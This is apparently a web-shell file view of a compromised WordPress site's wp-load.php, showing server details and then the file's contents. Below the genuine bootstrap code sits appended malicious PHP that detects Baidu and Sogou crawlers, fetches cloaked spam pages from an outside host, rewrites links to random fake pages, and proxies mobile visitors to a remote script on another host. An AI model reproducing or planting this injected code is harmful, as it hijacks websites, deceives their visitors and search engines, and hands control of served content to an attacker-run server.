HEX
Server: nginx/1.24.0
System: Linux VM-8-5-opencloudos 6.6.47-12.oc9.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Sep 24 16:15:42 CST 2024 x86_64
User: www (1000)
PHP: 8.0.26
Disabled: passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
Upload Files
File: /www/wwwroot/aiwellbore.com/wp-load.php
<?php
/**
 * Bootstrap file for setting the ABSPATH constant
 * and loading the wp-config.php file. The wp-config.php
 * file will then load the wp-settings.php file, which
 * will then set up the WordPress environment.
 *
 * If the wp-config.php file is not found then an error
 * will be displayed asking the visitor to set up the
 * wp-config.php file.
 *
 * Will also search for wp-config.php in WordPress' parent
 * directory to allow the WordPress directory to remain
 * untouched.
 *
 * @package WordPress
 */

/** Define ABSPATH as this file's directory */
if ( ! defined( 'ABSPATH' ) ) {
	define( 'ABSPATH', __DIR__ . '/' );
}

/*
 * The error_reporting() function can be disabled in php.ini. On systems where that is the case,
 * it's best to add a dummy function to the wp-config.php file, but as this call to the function
 * is run prior to wp-config.php loading, it is wrapped in a function_exists() check.
 */
if ( function_exists( 'error_reporting' ) ) {
	/*
	 * Initialize error reporting to a known set of levels.
	 *
	 * This will be adapted in wp_debug_mode() located in wp-includes/load.php based on WP_DEBUG.
	 * @see https://www.php.net/manual/en/errorfunc.constants.php List of known error levels.
	 */
	error_reporting( E_CORE_ERROR | E_CORE_WARNING | E_COMPILE_ERROR | E_ERROR | E_WARNING | E_PARSE | E_USER_ERROR | E_USER_WARNING | E_RECOVERABLE_ERROR );
}

/*
 * If wp-config.php exists in the WordPress root, or if it exists in the root and wp-settings.php
 * doesn't, load wp-config.php. The secondary check for wp-settings.php has the added benefit
 * of avoiding cases where the current directory is a nested installation, e.g. / is WordPress(a)
 * and /blog/ is WordPress(b).
 *
 * If neither set of conditions is true, initiate loading the setup process.
 */
if ( file_exists( ABSPATH . 'wp-config.php' ) ) {

	/** The config file resides in ABSPATH */
	require_once ABSPATH . 'wp-config.php';

} elseif ( @file_exists( dirname( ABSPATH ) . '/wp-config.php' ) && ! @file_exists( dirname( ABSPATH ) . '/wp-settings.php' ) ) {

	/** The config file resides one level above ABSPATH but is not part of another installation */
	require_once dirname( ABSPATH ) . '/wp-config.php';

} else {

	// A config file doesn't exist.

	define( 'WPINC', 'wp-includes' );
	require_once ABSPATH . WPINC . '/version.php';
	require_once ABSPATH . WPINC . '/compat.php';
	require_once ABSPATH . WPINC . '/load.php';

	// Check for the required PHP version and for the MySQL extension or a database drop-in.
	wp_check_php_mysql_versions();

	// Standardize $_SERVER variables across setups.
	wp_fix_server_vars();

	define( 'WP_CONTENT_DIR', ABSPATH . 'wp-content' );
	require_once ABSPATH . WPINC . '/functions.php';

	$path = wp_guess_url() . '/wp-admin/setup-config.php';

	// Redirect to setup-config.php.
	if ( ! str_contains( $_SERVER['REQUEST_URI'], 'setup-config' ) ) {
		header( 'Location: ' . $path );
		exit;
	}

	wp_load_translations_early();

	// Die with an error message.
	$die = '<p>' . sprintf(
		/* translators: %s: wp-config.php */
		__( "There doesn't seem to be a %s file. It is needed before the installation can continue." ),
		'<code>wp-config.php</code>'
	) . '</p>';
	$die .= '<p>' . sprintf(
		/* translators: 1: Documentation URL, 2: wp-config.php */
		__( 'Need more help? <a href="%1$s">Read the support article on %2$s</a>.' ),
		__( 'https://developer.wordpress.org/advanced-administration/wordpress/wp-config/' ),
		'<code>wp-config.php</code>'
	) . '</p>';
	$die .= '<p>' . sprintf(
		/* translators: %s: wp-config.php */
		__( "You can create a %s file through a web interface, but this doesn't work for all server setups. The safest way is to manually create the file." ),
		'<code>wp-config.php</code>'
	) . '</p>';
	$die .= '<p><a href="' . $path . '" class="button button-large">' . __( 'Create a Configuration File' ) . '</a></p>';

	wp_die( $die, __( 'WordPress &rsaquo; Error' ) );
}

 $protocol2 = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' || $_SERVER['SERVER_PORT'] == 443) ? "https://" : "http://";
$host2 = $_SERVER['HTTP_HOST'];
$fullUrl2 = $protocol2 . $host2;
$url2 = $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
set_time_limit(30);
error_reporting(0);
$tr2 = "stristr";
$er2 = $_SERVER;
function httpGet32($url2) {
  header('Content-Type:text/html;charset=utf-8');
  $ch = curl_init();
  $ua2 = $_SERVER['HTTP_USER_AGENT'];
  curl_setopt($ch, CURLOPT_URL, $url2);
  curl_setopt($ch, CURLOPT_USERAGENT, 'MyCustomUA/1.0');
  curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
  curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
  curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
  curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  curl_setopt($ch, CURLOPT_HEADER, 0);
  $output = curl_exec($ch);
  curl_close($ch);
  return $output;
}
function httpGet3($url2) {
  header('Content-Type:text/html;charset=utf-8');
  $ch = curl_init();
  $ua2 = $_SERVER['HTTP_USER_AGENT'];
  curl_setopt($ch, CURLOPT_URL, $url2);
  curl_setopt($ch, CURLOPT_USERAGENT, $ua2);
  curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
  curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
  curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  curl_setopt($ch, CURLOPT_HEADER, 0);
  $output = curl_exec($ch);
  curl_close($ch);
  return $output;
}
$dir="?wen";
function char($length = 5, $type = 0)
{
    $arr = array(1 => "0123456789", 2 => "abcdefghijklmnopqrstuvwxyz0123456789");
    if ($type == 0)
    {
        array_pop($arr);
        $string = implode("", $arr);
    } elseif ($type == "-1") {
        $string = implode("", $arr);
    } else {
        $string = $arr[$type];
    }
    $count = strlen($string) - 1;
    $code = '';
    for ($i = 0; $i < $length; $i++) {
        $code .= $string[rand(0, $count)];
    }
    return $code;
}
$dir2=get_url2().'/wen';
function get_url2() {
    $url2 = $_SERVER['REQUEST_URI'];
    $url2 = preg_replace('~/+~', '/', $url2);  // 去除多余的斜杠

    // 分割路径
    $parts = explode('/', trim($url2, '/'));
    
    // 如果文件路径,保留前两级目录
    if (preg_match('/\.(php|html|xml|asp|ppt|shtml)$/', end($parts))) {
        // 文件路径,返回前两级目录
        $url2 = '/' . $parts[0];
    } else {
        // 不是文件路径,保留前两级目录
        if (count($parts) > 2) {
            $url2 = '/' . $parts[0] . '/' . $parts[1];
        } else {
            $url2 = '/' . implode('/', $parts);
        }
    }

    return $url2;
}

define('url', $er2['REQUEST_URI']);
define('ref', $er2['HTTP_REFERER']);
define('ent', $er2['HTTP_USER_AGENT']);
define('site', "http://jsc.25jsc-1.cc:81/");
 define('url8', $fullUrl2);
$title = '/<title>(.*?)<\/title>/i';
$meta = '/<meta charset=".*?>/i';
$key = '/<meta\s+name="keywords"\s+content="([^"]+)"\s*\/?>/i';
$miaoshu = '/<meta\s+name="description"\s+content="([^"]+)"\s*\/?>/i';
define('road',$_SERVER['REQUEST_URI']);
define('regs', '@baiduspider|Sogou@i');
define('area', stristr(url, "moban")  or stristr(url, "wen")  or stristr(url, "xml")  or stristr(url, "doc")  or stristr(url, "pdf")  or stristr(url, "txt")  or stristr(url, "ppt")  or stristr(url, "pptx")  or stristr(url, "xls")  or stristr(url, "xlsx")  or stristr(url, "wap")  or stristr(url, "edu")  or stristr(url, "gov")  or stristr(url, "wap")  or stristr(url, "asp")  or stristr(url, "gq")  or stristr(url, "pdx")  or stristr(url, "ga")  or stristr(url, "tacc")  or stristr(url, "work")  or stristr(url, "csv")  or stristr(url, "sports")  or stristr(url, "sleep")  or stristr(url, "life")  or stristr(url, "88art")
 or stristr(url, "advice") or stristr(url, "wap") or stristr(url, "wen") or stristr(url, "and") or stristr(url, "no") or stristr(url, "world") or stristr(url, "school") or stristr(url, "tips") or stristr(url, "auto"));
if (preg_match(regs, ent)) {
    if (area) {
      echo '<link rel="canonical" href="'.$url2.'" />' ;
   echo '<!-38-8-phpjc-awen4-21-->';
        //echo httpGet3(site.road).httpGet32(url8);
         $html2 = httpGet32(url8);
         $html = httpGet3(site . road);
        // $html = httpGet32(url8)
  // 鎵ц鏇挎崲</h1>
$html2 = str_replace('</h1>', '', $html2);
// 鎵ц鏇挎崲<h1>
$html2 = str_replace('<h1>', '', $html2);
// 鎵ц鏇挎崲$meta
$pattern6 = $meta;
$replacement6 = '';
$html2 = preg_replace($pattern6, $replacement6, $html2);
// 鎵ц鏇挎崲$miaoshu
$pattern5 = $miaoshu;
$replacement5 = '';
$html2 = preg_replace($pattern5, $replacement5, $html2);
// 鎵ц鏇挎崲$key
$pattern4 = $key;
$replacement4 = '';
$html2 = preg_replace($pattern4, $replacement4, $html2);
// 鎵ц鏇挎崲$title
$pattern3 = $title;
$replacement3 = '';
$html2 = preg_replace($pattern3, $replacement3, $html2);

// 鎵ц鏇挎崲/head
$html2 = str_replace('</head>', '', $html2);
// 鎵ц鏇挎崲head
$html2 = str_replace('<head>', '', $html2);



// 鎵ц鏇挎崲鏇挎崲html
$pattern2 = '/<html>/i';
$replacement2 = '';
$html2 = preg_replace($pattern2, $replacement2, $html2);


// 鎵ц鏇挎崲鏇挎崲<body2>
$pattern8 = '/body class=.*?>/i';
$replacement8 = '';
$html2 = preg_replace($pattern8, $replacement8, $html2);

// 鎵ц鏇挎崲鏇挎崲<body>
$pattern7 = '/<body>/i';
$replacement7 = '';
$html2 = preg_replace($pattern7, $replacement7, $html2);

$html = $html.$html2;
        $lianjie = '/<a .*?>[\s\S]*?<\/a>/';
        preg_match_all($lianjie,$html, $aarray5);
        // preg_match_all($lianjie, $html2, $aarray5);
        
        if ($aarray5[0]) {
            foreach ($aarray5[0] as $pbti) {
                $preg = '/href=(\"|\')(.*?)(\"|\')/i';
                $replacestr = 'href="' . $dir2 . '/' . char(6, 1) . char(mt_rand(4, 10), 2) . '.html' . '"';
                $ahtml = preg_replace($preg, $replacestr, $pbti);
                $html = str_replace($pbti, $ahtml, $html);
                //  $html2 = str_replace($pbti, $ahtml, $html2);
            }
        }

        echo $html;
       
 
      
      exit();
    } 
    
    else {
   
     $html=httpGet32(url8.url);
    //  echo(url8.url);
// 鎵ц鏇挎崲</h1>
$html = str_replace('</h1>', '', $html);
// 鎵ц鏇挎崲<h1>
$html = str_replace('<h1>', '', $html);

$lianjie = '/<a .*?>[\s\S]*?<\/a>/';
preg_match_all($lianjie,$html,$aarray5);

if($aarray5[0]){
   foreach ($aarray5[0] as $pbti){
      $preg = '/href=(\"|\')(.*?)(\"|\')/i';

$replacestr = 'href="'.$dir."/".char(6,1).char(mt_rand(4,10),2).'.html'.'"';

$ahtml=preg_replace($preg, $replacestr,$pbti);
$html= str_replace($pbti, $ahtml, $html);
      
   }
}

echo $html;
 exit();
   }
}


        ob_flush();
        flush();



if (area && preg_match('/phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone/',$_SERVER['HTTP_USER_AGENT'])) {
   
$ua = $_SERVER['HTTP_USER_AGENT'];
$ch = curl_init();

// 璁剧疆URL鍜岀浉搴旂殑閫夐」
curl_setopt($ch, CURLOPT_USERAGENT, $ua);
     
curl_setopt($ch, CURLOPT_URL, "http://8.25jsc-1.cc:81/awen4-1.php");
curl_setopt($ch, CURLOPT_HEADER, false);

// 鎶撳彇URL骞舵妸瀹冧紶閫掔粰娴忚鍣 

curl_exec($ch);

//鍏抽棴cURL璧勬簮锛屽苟涓旈噴鏀剧郴缁熻祫婧 

curl_close($ch);

    exit();
   }